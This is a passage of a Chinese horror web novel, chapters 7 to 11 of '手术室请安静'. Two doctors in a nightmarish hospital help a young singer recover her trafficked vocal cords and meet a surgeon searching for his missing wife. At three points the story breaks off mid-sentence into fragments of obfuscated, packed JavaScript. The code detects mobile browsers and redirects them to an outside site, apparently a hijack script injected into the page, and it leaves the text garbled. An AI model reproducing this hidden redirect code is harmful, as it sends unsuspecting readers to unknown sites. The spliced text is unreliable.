这些自以为可以用钱买到别人身体的“买家”,会不会意识到,自己有一天也会变成消费品呢? “跟整形手术差不多吧,真人的器官肯定比机械的好多了,听说舒适度也要好很多。很多装了机械器官的人都因为磨合不佳,去打深素止痛……” “深素?” 听到这个词,程昭和蒋裕快速交换了一下眼神,看来是能得到点关于深素的信息了。 “深素还能止痛?” “深素的效果可多了,止痛只能算是附带的作用,圈里有点名气的几乎都在打,因为比什么医美的效果都要好。经纪人跟我说能保养声带,叫我也去打,但是太贵了,一针十几万,而且要一直打,停药会比不打老得更快,我打不起,所以没试过。我有个前辈是定期打的,她换机械声带以后好像确实不怎么痛。” 程昭没忍住冷哼了一声:“一个生物提取的东西,还能保养机械了?这算什么,人体润滑油啊。” 蒋裕捂脸,太地狱了。 “我看深素这玩意儿,就不是什么好东西。”程昭下了结论。 肖音音低下头去:“我以前也心动过,不过确实是一直欠债打不起,虽然经纪公司说可以借钱给我去打,但我已经欠了很多很多钱了,我上学时候数学就很差,真的不知道还有多久才能还完。” 蒋裕拍拍她的肩:“学好数理化,走遍天下都不怕;不会数理化,走哪被人坑到怕。” 程昭:“照你这个拼命的架势,我估计早就还完了,你那黑心公司就是欺负你年纪小不懂事,一直骗你呢。” “我也感觉出来了,所以,求求你们帮帮我吧!” 肖音音摆正身体,对着程昭和蒋裕,郑重地跪了下去。 “哎哎,别这样啊妹子!”程昭赶紧去扶肖音音,她这辈子还没受过这种大礼呢! 蒋裕也过来搀她:“你想我们怎么帮,直说好了,这么黑心的公司,人人得而诛之!” 肖音音嗫嚅道:“我,我也没想过要对他们怎么样……我就是想换回自己的声带,然后跟公司解约,能自由地唱歌就好了。” “那你的声带在哪里呢?” “就在这里,我打听过了,换我声带的那个人,每六个月要把声带取出来保养一次,每次在医院放24小时,保养时间就在今天,所以我特意把声带换新手术排在今天,等到了明天,她把声带装回去,我可能就再找不到机会了。她的手术也是在这个医院做的,我听说保养的优体都放在手术室的生物材料间里,但是我肯定进不去,希望你们能带我进去。” “额……” 刚答应下来的两人此刻纷纷露出了难色。 帮是很想帮的啦,但是他俩都不是这个医院的医生,急救制服没把门禁卡拟态出来啊! 程昭瞪了一眼蒋裕:我就说你们这急救制服垃圾吧。 蒋裕懊恼地点点头:拉,实在是太拉了! 程昭的目光忽然落到了打开的工具箱上。 虽然没有门禁卡,不过只要是机械结构的门锁,用工具强拆,或许也不是不行? 8. 手术室请安静(六) 程昭提上工具箱,一副风风火火视死如归的架势:“走。” 蒋裕不敢置信地看着她,贴着她耳朵低吼道:“我们没卡!进不去的,万一被发现了还会死得很惨!很惨呐!” 程昭掏了掏耳朵:“那你说怎么办?你刚才不是很义愤填膺嘛,这就不管了?” “不是不管……”蒋裕瞥了一眼肖音音,把声音压得更低,“这事不是那么简单的,我们自己的患者都一个还没找到。你看过时间了没,只剩八个小时了!” “八小时工作制,刚好来得及下班。” “不儿,八小时工作制是这么算的吗……” 肖音音看着两人窃窃私语,不安地绞着病号服的衣角。这两个医生有点怪,经常说些她听不懂的话,而她认为是常识的东西,他们又一副完全没听过的样子。不过也正因为如此,她觉得自己和盘托出,没准能得到帮助。如果是那些冷血的医生,肯定直接打电话给她经纪人,把她抓回去了。 “行吧。”蒋裕终于是被说服了,“先找到生物材料间,如果周围没人,就试试看撬锁,但是如果撬不了,咱们就不管了,先去找患者。” 这是程昭提出的各退一步方案,她也不知道这个生物材料间是怎么样的,有没有人把守,只能是尽力而为。 三人放轻脚步,一个接一个跟做贼似的出了办公室。 在走廊里,程昭忍不住回头看了一眼手术室门上的窗。 满窗都是红眼睛。 她没敢细看,拽着蒋裕和肖音音,三个人蹲下来沿着墙角走。 走廊里很安静,刚才横亘在中间的那两具干尸都消失不见了,没有留下任何痕迹,不知道是谁处理掉了。 蒋裕打头,程昭走在最后,她时刻注意着墙角,警惕红色黏菌的出现。 她抱着工具箱,走得有些艰难。 程昭也不是不想把工具箱收回去轻松点,但当着肖音音的面做这个事实在太明显,她谎称这个工具箱是肖音音发病那会儿在办公室找到的,总算是看似合理地糊弄过去了。 不过有时候,她觉得肖音音的表情很像是看破不说破。 算了,管她呢。 人生已经如此的艰难,大家给彼此留一点体面多好。 路过1号手术间时,三人都屏住了呼吸,一点气不敢出,生怕手术间门一开,就被抓去做供体。 好在这一路都没发生什么意外,他们穿过所有的手术间,来到了整个手术室的最后面。 生物材料间这种一听就有很多贵重东西的地方,肯定位置是越深越好的。 果然不出程昭所料,手术室走到底,左手边是污物处置间,右手边的房间就是生物材料间,门上还有一个生物危险的标志。 门边上是一个刷门禁卡的黑色刷卡机。 程昭推了推门,纹丝不动,果然跟办公室的门一样,要么从外面刷卡进去,要么从里面打开。 她把耳朵贴在门上听了会儿,里面一点动静都没有,应该还算安全。 打开工具箱后她又犯了难。 虽然设想得很美好,但实际上,作为医学生的她,大学连金工实习都没上过啊! 连电路图怎么画都还给高中物理老师了呢! 她的迟疑引起了正在望风的蒋裕的注意。 他指了指门锁,做口型道:你上啊。 程昭礼貌微笑。 蒋裕:你不会? 程昭眨眨眼睛。 肖音音背对着他们,面朝走廊,望风望得比蒋裕认真多了。 蒋裕蹲了下来,跟她一起看工具箱里的东西,挑来挑去,指了指羊角锤。 程昭瞪大了眼睛:这么猛? 这一锤子下去的动静,那红色黏菌不得百米冲刺跑过来啊! 蒋裕指了指手术间的方向:1号手术间离得远,没那么快。 倒也不是完全没道理。 程昭深吸一口气,抓起了那把羊角锤。 【叮!初始工具选择完成,经验值+10,距离工具箱升级还差990经验值。】 谁! 程昭惊恐地东张西望,这回她听清楚了,这是个女声。 蒋裕是男的,肯定不是他的声音。肖音音虽然是女的,但声带是男的,也不是她。 难道这个手术室里卧虎藏龙,有红色黏菌和怪胎还不够,还有别的空气传音怪? 怎么看周围都只有他们几个人,程昭举起了羊角锤,做出一个防御的姿势。 不管是什么东西,敢来搞她,就给它一锤子! 【叮!工具-羊角锤已激活,初次使用可获得20经验,距离下次升级还差两次有效使用。】 程昭不敢置信地看向自己手中的羊角锤,蒋裕和肖音音都没表现出什么特别的,好像这个声音,只有程昭自己能听到。 她戳戳蒋裕,挥了挥羊角锤。 蒋裕以为她是想要同伴的鼓励,立马给了她一个坚定的眼神。 程昭很无助。 我的工具箱成精了怎么办?在线等,挺急的,赶着锤门锁呢。 蒋裕完全不能感知到她此刻的迷茫,两人鸡同鸭讲比划了半天,程昭放弃了。 你不能指望一个连急救箱都能拿错的人,给出什么建设性意见。 程昭打算信一回那个声音,如果只是使用就能获得经验,那轻轻锤一下不就能试验了?没准这个经验还能派上些用场呢。 她把工具箱塞在蒋裕怀里,让他抱着,羊角锤对着工具箱的正面。 肖音音用余光瞟着她的动作,表情很好奇。她不知道这个医生,为什么一直很宝贝地抱着这个大箱子。 程昭怕直接敲墙面或者地面传送震动,招惹来红色黏菌,所以让蒋裕充当人肉避震器。 她晃动手腕,轻轻敲在了工具箱外壳上。 一阵很轻的,类似鸡蛋破壳的声音,从箱子表面传来。 然后三人就眼看着深蓝色的工具箱外壳从敲击处裂开,不出几秒就遍体裂纹。 蒋裕抱着箱子,一动也不敢动,生怕动一下就碎成渣渣,洒了满地。 大家的表情都很精彩。 程昭:石化。 肖音音:哇哦。 蒋裕:四分不可置信,三分困惑,两分凄凉,还有一分抑制不住的笑意。 不知道为什么,就是挺想笑的。 这个程昭,她是人能有的脑回路吗?! 还能自己把自己的家伙什锤爆吗? 【叮!初次使用羊角锤,经验值+20,羊角锤升级为2级。】 【警告!工具箱遭到破坏,破坏程度30%,维修需要100经验值】 1级都这个威力了,2级是要闹哪样啊?维修还差70经验值,她是不是再敲两三个就能攒够了? 程昭突然觉得自己浑身是胆,哪个小鬼子敢来犯,她来一个敲一个,来两个敲一双! 她也不管肖音音在场了,直接就把工具箱收进手环,不然等会掉一地渣子也不好捡。 肖音音倒是很自觉地转过身看天花板。 程昭高举起羊角锤,对准了大门上方的磁吸门锁,一点没使劲。 羊角锤就被吸在了上面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628349|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程昭:石化again。 肖音音:天花板真好看。 蒋裕:这里真的有正常人吗?! 好消息是,房间大门确实开了。门上的金属装置碎了一地,还好是很小的碎块,落地声音不大。 坏消息是,羊角锤就那么吸在了磁铁上,硬是拔不下来。 程昭没在这里浪费时间,当务之急是找声带,等东西拿到,再出来想办法。实在不行,这2级羊角锤就扔这儿吧。 她和肖音音走了进去,留蒋裕在门外守着。 里面不算很大,但是架子很多,上面摆放着大大小小形状不一的玻璃盒子,里面装着透明的液体,各种器官悬浮在液体中。 盒子上面有打印的标签,写着器官的名称,以及入库时间。 程昭和肖音音分两头开始寻找。 不过程昭很快就发现,自己这边应该不是保养的,因为盒子上标注的入库时间全都超过一年了,久一点的两年三年都有,最久的是一副五年前的肝脏。 时间越久的盒子,里面的液体就越接近黄色,不像新鲜那些,是完全清澈的透明。 这么久了还有活性吗?不知道是放在这里等待配型,还是作为标本呢? 要不是知道这里做的都是黑心手术,这些器官大概都是从普通人身上骗取的,她只会觉得这是一个再寻常不过的人体博物馆。 在最后一排架子上,她看到了一个怪异的胎儿标本。 是还处在胚胎发育初期的样子,大大的脑袋连着条状的身体,底部有类似尾巴的结构。 如果光是一个没发育好的胚胎,倒也不至于让她驻足停留,但这个胚胎明明看形态是初期,体型却已经接近正常十月临盆的孩子了。 难道是泡太久,泡发了? 她看了一眼标签,上一排写着供体001,下一排写着入库时间2023.06.01。 供体这个词很容易让她想到那份深素的分析报告。 如果蒋裕在这里,就会立马认出,这个胎儿跟他手术上见过的那个怪胎,大体上相似,只是五官更接近正常胚胎,身上也没什么恶心的肉瘤。 程昭虽然没亲眼见过那台手术,但这个胚胎不正常的形态,也足以勾起她的警觉。 透过有些混浊的微黄液体,她看到盒子的背面似乎也有一张标签。 她的动作非常轻,慢悠悠地把玻璃盒转了一个方向,果然背面也有东西。 这张标签是手写的,只有两个字——“翊儿”。 很像是孩子的小名,是这个胚胎的名字吗? 如果父母都给孩子取好了名字,为什么要把它放在这里,跟这些标本们待在一起呢? 这边程昭还在苦思冥想,另一边肖音音已经找到了自己的声带,今天处于保养中的声带有两条,但她只看一眼,就能确定哪条是自己的。 虽然大多数人终其一生也没见过自己的声带,但她就是知道,这是自己的,是从自己身上用手术刀一点一点割下来的,哪怕泡在保养液里,这也是她自己的东西,就算被花钱买走了,放到别人喉咙里了,那也是她的,不是别的任何人的。 她紧紧抱着那个飘浮着薄薄肉片的玻璃盒子,脸上露出了很多年都没有过的发自内心的笑容,是她这个年纪的女孩子本该有的明媚笑颜。 正在门外望风的蒋裕打了个大大的哈欠,这两人进去有一会儿了,怎么一点动静都没有,属猫的啊。 他面朝走廊,背对生物间,因此没有发现,就在自己晃神那会儿,有一个身影从对面的污物间跑了出来,闪身进入了生物材料间。 9. 手术室请安静(七) 程昭还在端详那个胎儿,冷不防后背被人拍了一下,吓得一哆嗦。 转头一看,是肖音音抱着个玻璃盒站在她身后。 程昭用口型问道:找到了? 肖音音很用力地点头。 其实都不用问,看她那张欢呼雀跃的脸,就知道她找回自己的宝贝了。 程昭觉得这趟出车以来,总算是有点好事了。 走吧。她指了指生物间的大门。 肖音音此时就跟所有这个年纪的小女生一样,蹦蹦跳跳地牵起了程昭的右手,全然忘记了这里的危机还未解除。 一个黑影从她俩身后晃过。 程昭刚跟着她迈出一步,就定住了。 左手腕上的手环突然震了两下,马达功率还挺足,震得手腕都有点麻。 程昭低头一看。 不对啊,我右手牵着肖音音,那左手上的这只手,是谁的? 她如同齿轮般一格一格慢慢把头往左后方转去,对上了一双带着水汽的大眼睛。 程昭鼓足了勇气,做了一堆心理建设,才敢回头看,没成想另一手牵着的也是个穿着病号服的漂亮妹子。 什么情况,她捅妹子窝了? 颜值即是正义,长得好看就很难吓到人了。 所以程昭这回没怎么失态,从容地在她手心里写下——“你也找声带啊”。 妹子摇摇头,很小声地说:“我是来做手术的。” 程昭看了一眼墙上的分贝仪,显示是15,应该还在安全范围内。 左手腕的手环正散发着淡淡的荧光,这个角度只有程昭能看到,她翻转手腕,发现手环界面弹出了一句话。 【发现患者,任务进度1/2。】 程昭乐了,看来她是时来运转了,患者还能自己找上门来的。 她凑近了妹子,指着分贝仪用气音说道:“保持小声,超过30会有危险。” 妹子点点头,肖音音也好奇地围了过来。 程昭在她手心里写下自己的名字,她心领神会,也在程昭手心里比划起来。 顾镜如,很好听的一个名字。 程昭:“你怎么会到这儿来做手术?” 她还记得,蒋裕说过在原泡世界,这是个2年前就废弃了的医院,要做手术怎么会跑到这里来呢。 顾镜如声似蚊吟:“我生病了,没有钱,有一个好心的医生说免费给我做手术,但是我跟着他进了医院之后,他就不见了。我刚才看到走廊里有人被一种红线缠死了,我很害怕,就躲起来了。我觉得你像好人,我不知道要怎么出去,医生,你带我出去吧。” “放心,跟紧我,不要多问,我会带你出去的。”程昭宽慰她。 那么重叠域里的另一个患者,应该就是这个把她带到废弃医院,要给她做手术的“医生”了。 这个人到底是真的大善人,还是另有图谋,可就不好说了。 反正在程昭原本的泡世界,这百分百算非法行医了,是要吊销执业证的! 三人排成一列,还没走到门口,就见蒋裕一个闪身窜了进来。 “你找到一个患者了?” 看来只要在同一个域里,手环里的信息就会共享。 程昭指了指顾镜如,压低声音跟蒋裕说了自己的猜测。 “你怎么不望风了?多危险啊。” “在外面才危险。” 蒋裕从怀里掏出了自己的听诊器,把一头耳塞递给程昭。 程昭试探性地塞进了左耳,另一头耳塞则在蒋裕耳朵里,她还从没想过,听诊器也能“分你一半”的。 蒋裕把扁形听头按在墙面上。 一首舒缓的音□□过墙面、听筒、橡皮管、耳塞、耳道传到了程昭的脑海里。 “睡吧,睡吧,我亲爱的宝贝……” “妈妈的双手,轻轻摇着你……” 做手术时放歌这种行为,倒是并不罕见,尤其是大半夜急诊手术,不听点什么,手术医生自己都容易瞌睡过去。 但是在手术室里放摇篮曲,真是闻所未闻,甚至带着点瘆人。 特别是在这个分贝超过30就会刺激红色黏菌的手术室里。 这个声音的来源应该不是很近,因为程昭没塞听诊器的右耳,什么都没听到。 “你这个听诊器……” 程昭后知后觉发现,蒋裕这个听诊器好像不一般,她可没见过谁拿听诊器当窃听器的。 “每个人的急救箱只能开出一样专属自己的特殊道具。” “那我……” “怪我、怪我……”蒋裕连连道歉,“回去我带你去后勤问问这种情况怎么办。” “能听出声音来源吗?” 蒋裕伸手摘下她的耳塞,给自己带好,闭上眼睛,听头在墙面上换了好几个位置,似乎是在寻找方向。 过了大概一两分钟,他摘下听诊器,神色严肃:“是1号手术间。” 又是1号手术间。 程昭有种预感,看来要离开这个诡异的手术室,总得去趟1号手术间才行。 肖音音拉拉程昭的衣角:“医生,你能不能,帮我做手术?” 程昭皱眉,刚要摇头。 肖音音继续说:“我怕你们走了,就没有人愿意给我做手术了,我想换回我自己的声带。” 程昭不忍心拒绝,但又很为难:“我不会啊。” 肖音音眼里的光瞬间熄灭了,她缩着身体怀抱玻璃盒,默默地垂下了头。 程昭看她这个样子,自己心里也一阵酸涩。 “我去给你找医生。” “你疯了,怎么找?他们会听你的?”蒋裕白眼都要翻到天上去,“我怎么没发现你是圣心会的好苗子呢?” “什么圣心会?” 蒋裕摆摆手:“不重要,你去找吧,找到算你厉害。” 程昭一个人默默走到墙角,鼓捣了一会儿又回来了。 手里拿着一把扳手,大号的那种。 她发现一个因祸得福的事情,工具箱外壳碎了以后,居然能直接从手环里拿工具出来了,而不用像之前一样,先拿箱子,再开箱才能取。 蒋裕看她这个架势,无奈扶额:“我有时候真的怀疑你到底是不是个医生。” 程昭耸耸肩:“我看你们这个120,干的也不是医生的活啊。” “那你去吧,我在这里保护患者。” 程昭走出门之前,蒋裕拍了拍她的肩,“祝你好运。” “借你吉言。” 程昭走出去没多久,蒋裕的手环就震了两下。 【发现患者,任务进度2/2。患者已找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628350|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐,请尽快出域。】 这什么效率?天生120圣体啊! ———————— 程昭看着面前的中年男子,右手握着扳手背在身后。 这个人在生物间门口不知道待了多久,她刚出来就撞上了他。 手环震动,她没去看,她已经猜到,这就是那个“免费做手术”的医生。 这一次,她没有因为很快找到患者而喜悦,因为这个人的洗手衣上,沾着血迹。 “你是新来的规培生吗?我好像没见过你。”男人看着程昭,眼神很温和。 程昭看向走廊,他说话声音是正常音量,应该有40分贝左右,但是红色黏菌却没有出现。 生物间位置太深了,这个角度看不到1号手术间。 程昭定了定神,一副公式化的语气:“你好,我是一七医院120急救医生,现在这里很危险,但请你放心,我会负责救你出去的。” 男人一愣,似乎是没想到她会这么直接说出来。 但他很快调整了表情,长松了口气:“呼,终于不用装了,我说怎么到了这么个鬼地方,吓死人了。我们怎么出去,跟着你就行了吗?” “嗯,跟着我就行,不过在那之前,你知道这里谁会做声带更换吗?” 他露出个意味深长的笑容:“我就会啊。” “真的?” 程昭没想到,这手术已经这么普及了吗。 “给谁做?” “你马上就能见到了。” ———————— 程昭带着董飞回到生物间时,蒋裕瞪大了眼睛,顾镜如倒是很激动。 “董医生,我,我那个手术……” “等出去再做吧,我答应你的,不会反悔,但是这里不太合适。” “好,好的。” 蒋裕看向程昭,程昭神色如常。 董飞直接走到了肖音音面前,低下头看她怀里的玻璃盒。 “保养得不错,是你要换这个吗?” “是的,你,是来帮我做手术的吗?” “我想应该是吧。”他看向程昭,挑了挑眉。 程昭点头:“机械声带换真声带,你能做吗?” “机械声带拆比装容易,人源声带要看喉管适配程度的。” “这是我,我自己的声带。” 董飞捏住肖音音的下颌,迫使她张开嘴,他从裤兜里掏出手电筒照了照。 “这个机械声带太次了,喉管都磨变形了。现在倒是还能做,要是机械声带再用两个月,人源声带就没办法装了。” 程昭问:“你一个人能做吗?” “需要一个助手,拉拉勾就行。” “行,要再找个麻醉师吗?” “最好是有,没有的话就只能忍忍了。” “我可以不用麻醉。”肖音音说,“我已经习惯疼痛了,我就想快点换上我自己的声带。” “那就去准备手术间吧。”董飞指了指蒋裕,仿佛他真是自己带教的规培生。 程昭有点担心地看着肖音音:“不用麻醉你真的能撑住吗?手术可能会很久的。” 董飞把手搭在肖音音肩膀上,温柔道:“不用怕,或许别人需要很久,但是我做手术很快的。 因为,我真的很热爱手术。” 10. 手术室请安静(八) 手术间就直接用了肖音音本来那台声带换新术的房间。 虽然刚才手术器械都洒了,不过这个手术间应该是专门做这类手术的,柜子里就有消毒好的器械包,直接打开就能用。 蒋裕站在手术台另一侧,负责给董飞做助手,程昭跟顾镜如坐在手术间门边守着。 肖音音的口腔被器械撑到一个巨大的角度,嘴角都有些撕裂了,但她一声没吭。 蒋裕一手拉勾,一手给董飞递手术器械。 董飞很熟练地用小钳子撬开了机械声带上的八爪勾,再用中号钳子把机械声带夹成U型,调整了几次形状后,用一把长勾把弯成废铁的机械声带拉了出来。 沾染着鲜血的机械物被扔在了弯盘上,没有什么机械的精巧美感,反而感觉粗糙和丑陋。 这要20万?要是放在程昭那个世界,PXX9.9包邮不能再多了。 肖音音的喉管已经在反复的手术中生出了瘢痕,虽然这原本是身体为了自我保护,适应环境而生长出来的肉芽组织,但它已经挤占了正常声带的位置,要装上原本的声带,就需要将其去除。 这个角度手术刀很难伸进去,这个手术间也没找到电刀,董飞拿了一根细锉刀样的粗糙钢条,从撑开的嘴中插进去,粗暴地在喉管壁的瘢痕组织上摩擦。 蒋裕拿着吸引管,把喉管壁上渗出的血液吸干,但随着摩擦力度的加重,血流得越来越多,可能有一两根大血管爆了。 蒋裕手心都急出了一层汗,橡胶手套牢牢地吸附在掌心,令他握着吸引管的手都差点打滑。 董飞抬了他一手,示意他对好位置。 没有备血,但董飞一副胸有成竹的样子,先把瘢痕肉芽给磨干净,然后夹持着缝合针,用着6-0的缝合线,把爆开的血管缝合上。 蒋裕到此刻是真的佩服他了,因为血太多了,他这个负责抽吸血液的人都找不到出血点,视野里一片血红,但董飞的眼睛就跟开了透视一样,每次都能又快又准地扎上血管的破口。 他很好奇,手术技术这么好的人,在欣格医院被查封以后,去哪里高就了呢。 把喉管壁处理好,移植真声带就很简单了。 当然,这只是对董飞来说,至于蒋裕,甚至都看不清他的动作。 缝合线在他手里就跟绣花线似的,弯针上下翻飞,沿着声带周围细密地缝了一圈,虽然喉管壁还有些粗糙,但这些未完全处理干净的新生肉芽,恰到好处地包裹住了这片肉膜,几乎完全看不见针眼和缝线。 缝完以后,董飞夹着棉球又消毒了一遍,然后让蒋裕给她喷上手术室里备用的再生因子,潇洒地脱下了手术衣,扔进脏衣篓。 并排坐在地上的程昭和顾镜如,齐刷刷给他鼓掌。 程昭也不得不承认,不管董飞到底是出于什么目的出现在这里,这手术水平是实打实的高啊。 肖音音已经从手术台上坐了起来,她刚才还是流了不少血的,此刻嘴唇没有一丝血色。 她摸着自己的喉咙,试探性地发出“啊”的声音,感受着指腹下声带的震动。 这种震动很柔和,跟机械声带的线性马达完全不一样,她已经很久很久没有体会过了。 “呀。”她又发出了一个短暂的音节,就像一个牙牙学语的孩子,对每一个音节都充满了新奇感。 董飞:“多说说也没关系,可以促进肉芽组织生长,让声带跟周围组织快点融合。” “谢、谢。”肖音音说得很吃力,但即使是刚做完手术,也比机械声带磨合后要舒服得多,几乎可以说是没有痛感了。 董飞摸摸她的头:“手术的时候一点没有动,挺厉害的。” 肖音音的眼眶又湿润起来,没有装过机械声带的人不会明白,跟那种喉咙吞针的感觉比起来,手术缝针跟被蚊子叮也差不多了。 她这些年来,真的过得很差。 但是出去以后,她会想办法,让自己真正的声音被听到。 董飞走到程昭面前:“我帮了你一个忙,你是不是也可以帮我一个忙?” “什么忙?” “救我妻子。” 程昭蹭的一下站了起来,“这里还有别的患者?” 这手环这么不准的吗?还能少算一个患者的? “我的妻子,她离开我很久了,我也是最近才知道,她在这里的。” 程昭先是不解,过了几秒后才反应过来了,他的妻子,并不是这一次四级事件被卷入重叠域的,她在更早的时候,就掉到另一个泡世界了。 “你的妻子在哪里?” 董飞垂下头:“我还在找,但是我敢肯定,她就在手术室的某一处,我能感受到她的气息……” “我帮你找,等找到以后,就一起离开这里。” “好,谢谢你。” 程昭没有让蒋裕一起跟着,肖音音和顾镜如还是由他继续照顾,程昭独自跟着董飞走过一个个手术间。 说实话,这些空的手术间,都看起来不像能藏人的样子。 而且奇怪的是,刚才明明有两三个手术间里是有人的,但现在走了这一路,他们都没有见到一个人。 好像这个手术室里只剩下他们几个。 另一个让她在意的事就是,董飞从出现开始,就是神态自若地正常讲话,那种致命的红色黏菌一直没有出现。 是运气好,还是他已经知道,红色黏菌不会出现了? 再往前走,就是1号手术间了,董飞走在前面,程昭却停住了脚步。 “就差这里没找过了,应该就在这里。” “你确定,你的妻子在这里吗?” 董飞的语气斩钉截铁:“她肯定在这儿,其他地方我都找遍了。” “那你是怎么知道,她消失以后,就到了这里呢?” 董飞露出一个苦笑:“你没谈过恋爱吧?” “啊?”程昭一怔,怎么突然开始人身攻击了? “我跟我的妻子是大学同学,她可爱、温柔、贤惠,是一个很招人喜欢的女孩子。大三的时候我追的她,后来我们又一起读研、读博,毕业后也幸运地进了同一家医院工作。结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628351|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚两年后,我们有了第一个孩子,是个很可爱的女孩子。孩子出生以后,开销变大,我们什么都想给孩子最好的,但是公立医院绩效一降再降,我就跳槽去了一家私立医院。这家医院给了我很多手术的机会,我本来就是个手术痴,为了钱,也为了我自己的爱好,我经常加班做手术,几个星期不回家也是有的。在这种情况下,我妻子又怀孕了……” “啊!”程昭惊道,看向他的眼神都充满了同情。 “额,孩子是我的!我忙归忙,也不是一天没回……”董飞没料到她想象力那么丰富,赶紧解释,“只是我妻子要带大宝,又怀着二宝,一个人很辛苦,我那段时间忙于工作,忽视了她的情绪。现在想想,她可能早就患上了抑郁症,是我没有注意到。在孩子预产期的前几天,她跟我大吵一架,然后就离家出走了,我以为她过几天就会回来,毕竟孩子都要生了。 但是没有,我再也没有得到她的音讯,她好像在这个世界上消失了。我去报警,警察也一无所获,我不相信一个大活人会这样变没!我辞了工作,去她的老家,去我们的学校,去我们一起约会过的公园……我总觉得她不是消失了,她只是在一个地方等我,而我太笨了,一直没有找到……” 程昭感叹道:“你很爱她啊。” “是啊,我很爱我的妻子,我无数次地懊悔,当时为什么不多陪陪她。如果我不是那么忙,如果我能抽空陪她看她最爱的电影……是不是后来的一切都不会发生?是不是我就不会失去她,失去我的翊儿……” “翊儿?” “哦,我经常这样想,就忍不住说出来了。那是我们一起给二宝取的名字,希望他能展翅高飞,成为一个顶天立地的男子汉。” “那你,觉得她在这等你?” “是的,因为我经常梦到她,梦里的她穿着病号服,走在手术室的走廊里,四周都是黑的,只有站在中间的她头顶有一束光,我觉得是她在指引我,让我来找她……你明白吗?这是我妻子托给我的梦。” 程昭没接话,她怎么都觉得,这个梦不像什么好梦。 董飞的语气渐渐变得神经质起来:“这个梦越来越频繁了……有时候我白天都能见到,她穿着条纹的衣服,从我面前飘过,我扑过去抓她,却抓了个空……我能感觉到,她急了,我这么久还没找到她,她很烦躁,她想要我,她要我来陪她……我应该来陪她,我当年没有好好陪她,这都是我的错,这是我欠她的,我要补偿她,这是我欠她的,我要补偿她……这是我欠她的,我要补偿她……我要补偿她……补偿她……” 董飞像一个坏掉的复读机一样,断断续续地重复着这几句话,语速越来越快,呼吸也变得急促起来。 程昭敏锐地觉察到,他的眼白开始有细小的血丝蔓延,他的双手颤抖得厉害,像是失控的前兆。 程昭不动声色地站到了他的身后。 走廊里响起一记闷响,那些翻来覆去的碎碎念戛然而止。 董飞脸朝下倒在地上,程昭把扳手收回后腰。 “叽里咕噜说啥呢?听不懂。” 11. 手术室请安静(九) 程昭刚要蹲下去查看董飞的状况,整个走廊就陷入了彻底的黑暗中。 连墙壁上的应急出口灯都不亮,程昭什么也看不见。 【叮!工具-扳手获得1营养点,开启天赋-拆卸(初级)。】 在这无边的墨色中,熟悉的女声响起,程昭经历了好几回声音的突然出现,这回她倒是没被吓到,就是好奇。 天赋是什么?扳手不是本来就用作拆卸的吗。 还是初级,这要是升级以后会怎么样呢? 至于营养点……程昭想起刚才扳手上的那一点血迹,嘶,不会是她手劲太大,给用成灵魂提取器了吧…… 走廊灯没有预兆地瞬间亮起,刚适应了黑暗的眼睛感到些许刺痛,程昭揉了揉眼睛。 “董老师,羊源胚胎的数据出来了,细胞排异反应很大……”一沓表格递到了程昭的手里。 程昭困惑地看着面前的年轻人,走廊刚才还没人的,他是从哪里来的? “我知道了。上周给你的那个胚胎组织的数据呢?”一个男人的声音从程昭嘴里冒了出来,要不是这个声音听上去很像董飞的,她都要怀疑自己被换了机械声带。 “啊,那个还没做完,不过按目前的进度来看数据很好,排异情况只有10%以下,改进提取工艺,敲除特定蛋白以后,很有可能降到2%以下……”说到这个,对面的年轻人眼睛都在放光,“董老师,那个胚胎组织很适合作为供体啊。是来自什么动物呢,我感觉基因序列应该是接近人类的,金丝猴,还是猩猩?不过用它们提取的话,成本很高吧……” “董飞,跟我来一趟办公室。”一个头发半白的年迈医生招呼她过去。 程昭不受控制地跟着走了过去。 他们在办公室的扶手椅上坐下,程昭发现这个办公室的布置跟刚才那个稍微有点区别,这里墙壁上没有装绿灯。 “柯总在催进度了,深细胞那个项目你研究得怎么样了?” “快出成果了。”程昭说。 “那就好,这个项目如果成了,那我们医院可就颠覆整个医学界了。”老者特意站起来,越过办公桌,拍了拍她的肩膀,“我明年3月就退休了,柯总很看好你,或许明年这个时候,他们就要叫你董院长了。” 程昭谦虚道:“院长,您太抬举我了,我资历还浅,多的是大主任排在我前面呢。” 老者呵呵一笑:“我还不知道你吗,你能从省一院辞职来我们医院,不就是因为我们这儿不看资历,只看实力吗?放心,柯总跟我都看在眼里的,我们医院,没别人能跟你争了。当然,前提是深细胞这个项目能够投产……” 还没听完他的话,程昭感到脚下的地面像突然被抽空一样,整个人倏地掉了下去。 预料中的粉身碎骨没有出现,她站得好好的,身旁多了一个穿着粉色孕妇连衣裙的温婉女人。 身处的环境也变了,他们在一间刷着粉色墙漆的门诊操作室里。 